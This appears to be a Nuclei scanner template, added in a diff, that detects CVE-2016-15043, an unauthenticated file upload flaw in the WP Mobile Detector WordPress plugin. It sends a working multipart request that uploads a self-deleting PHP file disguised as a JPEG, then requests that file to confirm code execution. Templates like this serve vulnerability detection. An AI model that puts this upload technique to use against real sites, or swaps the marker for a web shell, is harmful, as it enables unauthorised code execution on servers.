1+ id : CVE-2016-15043
2+
3+ info :
4+ name : WP Mobile Detector <= 3.5 - Unrestricted File Upload
5+ author : D3nverNg,thewindghost
6+ severity : critical
7+ description : |
8+ WP Mobile Detector WordPress plugin version 3.5 and below contains an unrestricted file upload vulnerability in resize.php.
9+ The vulnerability is caused by missing file type validation, allowing unauthenticated attackers to upload arbitrary files,
10+ potentially leading to remote code execution.
11+ reference :
12+ - https://nvd.nist.gov/vuln/detail/CVE-2016-15043
13+ - https://wpscan.com/vulnerability/
14+ - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
15+ classification :
16+ cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
17+ cvss-score : 9.8
18+ cve-id : CVE-2016-15043
19+ cwe-id : CWE-434
20+ metadata :
21+ verified : true
22+ max-request : 2
23+ tags : cve,cve2016,wordpress,wp-plugin,fileupload,rce,unauth
24+
25+ http :
26+ - raw :
27+ - |
28+ POST /wp-content/plugins/wp-mobile-detector/resize.php HTTP/1.1
29+ Host: {{Hostname}}
30+ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
31+
32+ ------WebKitFormBoundary
33+ Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
34+ Content-Type: image/jpeg
35+
36+ <?php echo md5("nuclei_test_{{randstr}}"); unlink(__FILE__); ?>
37+ ------WebKitFormBoundary--
38+
39+ - |
40+ GET /wp-content/plugins/wp-mobile-detector/{{randstr}}.php HTTP/1.1
41+ Host: {{Hostname}}
42+
43+ matchers-condition : and
44+ matchers :
45+ - type : word
46+ part : body_2
47+ words :
48+ - ' {{md5("nuclei_test_{{randstr}}")}}'
49+
50+ - type : status
51+ status :
52+ - 200
53+
54+ extractors :
55+ - type : regex
56+ part : body_2
57+ regex :
58+ - ' [a-f0-9]{32}'
59+
60+ # Alternative detection method - checking if resize.php exists and accepts uploads
61+ - raw :
62+ - |
63+ GET /wp-content/plugins/wp-mobile-detector/resize.php HTTP/1.1
64+ Host: {{Hostname}}
65+
66+ matchers-condition : and
67+ matchers :
68+ - type : status
69+ status :
70+ - 200
71+ - 500
72+
73+ - type : word
74+ part : body
75+ words :
76+ - ' wp-mobile-detector'
77+ condition : or
78+
79+ extractors :
80+ - type : regex
81+ part : body
82+ regex :
83+ - ' wp-mobile-detector/([0-9.]+)'
84+ group : 1
0 commit comments